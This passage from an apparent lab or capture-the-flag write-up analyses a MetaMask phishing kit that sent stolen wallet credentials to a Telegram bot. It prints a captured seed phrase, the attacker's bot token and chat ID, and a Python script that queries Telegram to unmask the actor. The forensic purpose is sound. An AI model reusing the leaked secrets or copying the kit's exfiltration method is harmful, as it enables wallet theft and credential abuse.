addresses.</p><p>Answer: Sypex Geo</p><p>Q5. How many seed phrases were already collected?</p><p>There are basically three pieces of information that the attacker is collecting from the victim: geo-location, city, and date.</p><p>Answer: 3</p><p>Q6: Write down the seed phrase of the most recent phishing incident?</p><p>I went through the entire PHP file, but there was nothing there. I then started looking through all the files and came across a ‘log’ folder with a log.txt file in it, which had what I was looking for</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*75G4RzyuhzK7Olee4Oaguw.jpeg" /></figure><p>Answer: father also recycle embody balance concert mechanic believe owner pair muffin hockey</p><p>Q7.Which medium had been used for credential dumping?</p><p>Now, let’s go back to the metamask.php file and examine this artifact. As we can see below, the attacker used a Telegram bot to dump the credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O2IqbyMXrwe2FAEadhlfcw.jpeg" /></figure><p>Answer: telegram</p><p>Q8. What is the token for the channel?</p><p>In the above image, the token value is the answer</p><p>Answer: 5457463144:AAG8t4k7e2ew3tTi0IBShcWbSia0Irvxm10</p><p>Q9. What is the chat ID of the phisher’s channel?</p><p>Still refering to above image</p><p>Answer: 5442785564</p><p>Q10. What are the allies of the phish kit developer?</p><p>Read the funny comment that the attcker drop in metamasl.php</p><p>Answer: j1j1b1s@m3r0</p><p>Q11. What is the full name of the Phish Actor?</p><p>Yoo! It’s time to write some code. We will leverage the Telegram bot information provided in the PHP file to gather details about the attacker. Now, let’s script this method</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*2VZxBMJqH65zzqgqA6DSkg.png" /></figure><p>I scripted it as shown in the image above.</p><p><strong>Python code:</strong></p><pre>import requests<br><br>token = &quot;5457463144:AAG8t4k7e2ew3tTi0IBShcWbSia0Irvxm10&quot;<br>chat_id = &quot;5442785564&quot;  <br>api_url = f&quot;https://api.telegram.org/bot{token}/getChat?chat_id={chat_id}&quot;<br><br>response = requests.get(api_url)<br>data = response.json()<br><br>if data[&#39;ok&#39;]:<br>    first_name = data[&#39;result&#39;][&#39;first_name&#39;]<br>    last_name = data[&#39;result&#39;].get(&#39;last_name&#39;, &#39;N/A&#39;)<br>    username = data[&#39;result&#39;].get(&#39;username&#39;, &#39;N/A&#39;)<br>    print(f&quot;Phish Actor&#39;s Full Name: {first_name} {last_name}&quot;)<br>    print(f&quot;Phish Actor&#39;s Username: {username}&quot;)</pre><p><strong>OUTPUT:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*1Uv5DrkDs4X532giakWvKA.png" /></figure><p>Answer: Marcus Aurelius</p><p>Q12. What is the username of the Phish Actor?</p><p>Answer: pumpkinboii</p><p>Congratulatiosn!! You have completed the challenge.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=44eb76ed6179" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>